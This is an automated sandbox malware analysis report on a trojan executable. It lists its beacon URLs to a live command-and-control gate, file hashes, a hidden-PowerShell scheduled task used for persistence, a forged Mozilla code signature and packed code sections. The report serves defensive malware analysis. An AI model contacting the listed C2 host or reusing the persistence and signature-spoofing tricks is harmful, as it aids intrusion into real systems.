http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Y~	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sX	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285)L	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285v	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	false		unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285w	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.904757927.000001D2823D1000.00000004.00000001.sdmp	false		high
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285x	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	false		unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Qp	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285y	Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false		unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285jf	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sO	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285z	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	false		unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285aZ	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false		unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Pg	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285yp	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285YL	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iX	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285/Z	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iq	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285IM	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857z	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857q	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285.f	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857O	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gz	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285xg	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-z	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gq	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iO	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285W~	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857X	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Op	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285qM	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285/J	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Ng	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285wp	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285%Z	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285WL	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285=p	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285M~	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gX	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-X	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Ep	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285GM	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-q	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285_Z	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285vg	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282853~	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gO	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285$f	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-O	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285oM	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285.	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.103.80.169	unknown	Russian Federation		48282	VDSINA-ASRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	465533
Start date:	15.08.2021
Start time:	08:39:15
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	q2t57gIiIY (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@9/8@0/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 100% (good quality ratio 90.2%) Quality average: 53.4% Quality standard deviation: 35.2%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryVolumeInformationFile calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/465533/sample/q2t57gIiIY.exe

Simulations

Behavior and APIs

Time	Type	Description
08:40:07	Task Scheduler	Run new task: COMSurrogate path: powershell.exe s>-windowstyle hidden
08:40:16	API Interceptor	41x Sleep call for process: powershell.exe modified
08:40:27	API Interceptor	627x Sleep call for process: Get-Variable.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VDSINA-ASRU	3279B2CD8DF2AD838397940CEC377D3DB13744CE713ED.exe	Get hash	malicious	Browse	94.103.93.227
	ASM9WQK4L9.exe	Get hash	malicious	Browse	178.208.83.29
	LLjDnAaBT8.exe	Get hash	malicious	Browse	178.208.83.29
	vbCEXoWNwi.exe	Get hash	malicious	Browse	94.103.80.73
	E4lwAiXNCE.exe	Get hash	malicious	Browse	109.234.34.165
	wl2BW2xev2.exe	Get hash	malicious	Browse	109.234.34.165
	JThZQQQwZA.exe	Get hash	malicious	Browse	178.208.83.29
	694271_Telegram_Buratino-T.apk	Get hash	malicious	Browse	62.113.112.222
	mixazed_20210719-125328.exe	Get hash	malicious	Browse	195.2.92.247
	Loader.exe	Get hash	malicious	Browse	178.208.83.27
	3368b737bc6f1891331e6d835edab190fdaba0faec69f.exe	Get hash	malicious	Browse	185.209.28.5
	7pi38P5GmT.exe	Get hash	malicious	Browse	94.103.80.188
	jssloader.exe	Get hash	malicious	Browse	109.234.37.173
	KpmIuRI9mZ.exe	Get hash	malicious	Browse	195.2.92.69
	lid2iKLtnr.exe	Get hash	malicious	Browse	94.103.80.188
	othYRbQdhP.exe	Get hash	malicious	Browse	195.2.78.147
	SZRmGO2T4m.exe	Get hash	malicious	Browse	193.178.169.243
	aLbw5TFo6a.exe	Get hash	malicious	Browse	94.103.92.101
	kDpWnXpEw1.exe	Get hash	malicious	Browse	94.103.92.101
	lw1IpxgQ0E.exe	Get hash	malicious	Browse	94.103.92.101

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe Download File
Process:	C:\Users\user\Desktop\q2t57gIiIY.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6601656
Entropy (8bit):	7.965119574683749
Encrypted:	false
SSDEEP:	196608:zfija2TcwZTDVO2Z6+CTV69Vd8hhWTGPr4uDt7T:GDOMCTQ4hhuE4uDxT
MD5:	0E78DF69265DC57C37673BDEE540CE2F
SHA1:	A1231F08B5FCA28FA29B6C9621CF01C4E82F3D95
SHA-256:	6B74DC043F9A12823ED98D704E4C8543C9B5D8B9240E65E9D31D2303AB914906
SHA-512:	5FADB364171434DA14D9EEB608BEA23EA1278A5A871C9613FDF97AC2BCF19D701B24D5BD85CC138A9CFD0226BAC7BABD2C46A7DEDB70326F7BB57FF88DC084B0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................~..........@s............@.................................K.d....... ......................................................d.........................................C....................................................text...D}..........................`.P`.data...<...........................@.0..rdata..............................@.0@.eh_fram$...........................@.0..bss..................................0..idata.............................@.0..CRT...............................@.0..tls.... ...........................@.0..vmp0...\Y%.........................`..`.vmp1.....c..p....c.................`..`.rsrc................c.............@..@........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\q2t57gIiIY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\gate[1].htm Download File
Process:	C:\Users\user\Desktop\q2t57gIiIY.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.2516291673878226
Encrypted:	false
SSDEEP:	3:tLlWYY:5G
MD5:	70AF708035A82B13E842C9520E410BBA
SHA1:	FD9F8BC1B75A186102A21FA644FAC39CC2DC0A99
SHA-256:	BF0C2FFDA4FF104D8A35041B5B6106DAB9053AE91E80542515C0F103D0CE3891
SHA-512:	77428448CD3E18E9E1FC503CB9CAF8C977873AEC2CC4AFAEA3664F1371DA0B4F1F4403EAD660DFE91B7B2B02E2A667D4337ED2DCEFC77A4BDE6988552248585A
Malicious:	false
Reputation:	low
Preview:	emnyU2VnlQ==

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\gate[2].htm Download File
Process:	C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.2516291673878226
Encrypted:	false
SSDEEP:	3:tLlWYY:5G
MD5:	70AF708035A82B13E842C9520E410BBA
SHA1:	FD9F8BC1B75A186102A21FA644FAC39CC2DC0A99
SHA-256:	BF0C2FFDA4FF104D8A35041B5B6106DAB9053AE91E80542515C0F103D0CE3891
SHA-512:	77428448CD3E18E9E1FC503CB9CAF8C977873AEC2CC4AFAEA3664F1371DA0B4F1F4403EAD660DFE91B7B2B02E2A667D4337ED2DCEFC77A4BDE6988552248585A
Malicious:	false
Reputation:	low
Preview:	emnyU2VnlQ==

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	295
Entropy (8bit):	4.826796468897362
Encrypted:	false
SSDEEP:	6:re9dt/YcBpuLEAv3/8DAn1tAS1g/RAS1g/9DAn1+51g/:re1YCAvP51ySemSeO1+5e
MD5:	46A6E9143F9014C97FF6592317E4BE0E
SHA1:	9FD97A68B9E4AF2A1EED37D7091CF9A2D1EB89FD
SHA-256:	7216D7DFBBE3A582C8DBB3CDC4AA26C36F03F1462A7A223AFBF4F4113963E7D5
SHA-512:	135A052A63A00E8357882C8A37F5497E69D522420529EF4199907D63F63359DFCBBB744C595F598D31483C2DC34753EAB1DFB881BD7F13B5B8A2C91FC2E00950
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE.............I...C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PSReadLine.psm1........PSConsoleHostReadline........Get-PSReadlineOption........Set-PSReadlineKeyHandler........Get-PSReadlineKeyHandler........Set-PSReadlineOption........Remove-PSReadlineKeyHandler........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcfsmund.5zq.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e5mslrkm.htf.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\Documents\20210815\PowerShell_transcript.128757.oRdBbA5u.20210815084012.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	579
Entropy (8bit):	5.287588203912908
Encrypted:	false
SSDEEP:	12:57DtSA6NdiRKv03fBRKv25o2df+x2DOzzsng+GWo0nPw6jewGxMKjX4CIymgSs2m:BxSAIi7vBZ9f+x2DOXirGW3nHjeTKKjB
MD5:	194691A36C60FFC20E4871799795E86C
SHA1:	AB8D8F45DBEA980FC303A849D03397CEA9CC109B
SHA-256:	B974CBEE594AAF9B92B779A8D48F49004108294B10AD2D2414F848CFF290A1C5
SHA-512:	791DBAC1F1FCA4A7CBAF578C12A4A5DF1218349FCF8A1043B255A45F53C6A7D4F21A1EBF5AD1AD30EB63541B55831ED6F95922AE1E9D54D20CDC0BB63D992E4F
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210815084015..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 128757 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell.exe -windowstyle hidden..Process ID: 6632..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..********************..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.965119574683749
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	q2t57gIiIY.exe
File size:	6601656
MD5:	0e78df69265dc57c37673bdee540ce2f
SHA1:	a1231f08b5fca28fa29b6c9621cf01c4e82f3d95
SHA256:	6b74dc043f9a12823ed98d704e4c8543c9b5d8b9240e65e9d31d2303ab914906
SHA512:	5fadb364171434da14d9eeb608bea23ea1278a5a871c9613fdf97ac2bcf19d701b24d5bd85cc138a9cfd0226bac7babd2c46a7dedb70326f7bb57ff88dc084b0
SSDEEP:	196608:zfija2TcwZTDVO2Z6+CTV69Vd8hhWTGPr4uDt7T:GDOMCTQ4hhuE4uDxT
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................~..........@s............@.................................K.d....... ............................

File Icon


Icon Hash:	4a054d1c068cf071

Static PE Info

General
Entrypoint:	0x1287340
Entrypoint Section:	.vmp1
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x61168280 [Fri Aug 13 14:32:32 2021 UTC]
TLS Callbacks:	0x127ed7c, 0xd46890, 0xd46840
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	898d2213a85b483d34c574804fb124bd

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert SHA2 Assured ID Code Signing CA, OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	4/9/2021 2:00:00 AM 6/20/2024 1:59:59 AM
Subject Chain	CN=Mozilla Corporation, OU=Firefox Engineering Operations, O=Mozilla Corporation, L=Mountain View, S=California, C=US
Version:	3
Thumbprint MD5:	253CFE594C562C62D3F5034CB838D062
Thumbprint SHA-1:	1326B39C3D5D2CA012F66FB439026F7B59CB1974
Thumbprint SHA-256:	854B470DD8C92C875FE4A726AD1619507FC0BDCEE9E936B5963DAF0EB26426A3
Serial:	0C1CD3EEA47EDDA7A032573B014D0AFD

Entrypoint Preview

Instruction
push 9427877Ch
call 00007F1D0CFE132Ah
cmc
dec eax
add ebx, 0000000Ah
inc sp
mov dword ptr [esi], eax
inc ecx
setnl al
jmp 00007F1D0D116306h
jnc 00007F1D0D0830E1h
imul ebp
scasd
lea esi, dword ptr [ecx+6Eh]
inc ebx
mov word ptr [edi+1Fh], ss
xchg eax, ebp
cmp al, A9h
and ebx, dword ptr [ecx]
adc bl, al
mov eax, 4310AC73h
jnc 00007F1D0D0830CDh
push ss
ret
and ah, dh
sbb al, 43h
dec eax
jno 00007F1D0D08307Bh
inc bx
out 04h, al
arpl word ptr [edi-1DCF4144h], dx
insd
inc ebx
stc
popad
cmp ch, ch
cmp al, 98h
dec ebp
dec ecx
hlt
cmp al, 45h
add esp, dword ptr [edi-1Ah]
mov dl, E3h
cmpsd
sbb dword ptr [ebx-3Ah], esp
test dword ptr [eax+6Eh], edi
adc byte ptr [eax], dl
xchg eax, esp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf4bef8	0xdc	.vmp1
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11e0000	0x10c2a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x649c00	0x1fb8	.text
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xdf1714	0x43	.vmp1
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xeae000	0x80	.vmp1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x947d44	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_CNT_CODE, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.data	0x949000	0x3c	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
